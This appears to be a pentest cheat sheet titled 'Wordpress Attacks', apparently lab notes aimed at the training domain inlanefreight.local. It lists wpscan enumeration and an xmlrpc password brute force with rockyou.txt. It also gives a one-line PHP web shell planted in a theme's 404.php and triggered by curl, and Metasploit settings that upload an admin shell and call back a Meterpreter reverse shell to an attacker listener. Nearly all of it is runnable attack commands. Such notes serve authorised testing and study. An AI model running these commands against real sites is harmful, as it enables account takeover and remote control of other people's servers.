> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/wordpress-attacks.md).
# Wordpress Attacks
### Discovery/Footprinting
* Look into /robots.txt
```shell-session
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/
Sitemap: https://inlanefreight.local/wp-sitemap.xml
```
* presence of the `/wp-admin` and `/wp-content` directories
### Enumeration
```shell-session
curl -s https://blog.inlanefreight.local | grep WordPress
```
```shell-session
```
```shell-session
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB
```
### Attacking WordPress
#### Login Bruteforce
* The `wp-login` method will attempt to brute force the standard WordPress login page, while the `xmlrpc` method uses WordPress API to make login attempts through `/xmlrpc.php`.
* The `xmlrpc` method is preferred as it’s faster.
```shell-session
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
```
### Code Execution
```php
system($_GET[0]);
```
```shell-session
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
```
#### PHP Meterpreter shell
```shell-session
use exploit/unix/webapp/wp_admin_shell_upload
```
```shell-session
set rhosts blog.inlanefreight.local
set username john
set password firebird1
set lhost 10.10.14.15
set rhost 10.129.42.195
set VHOST blog.inlanefreight.local
```
```shell-session
show options
```
```shell-session
exploit
```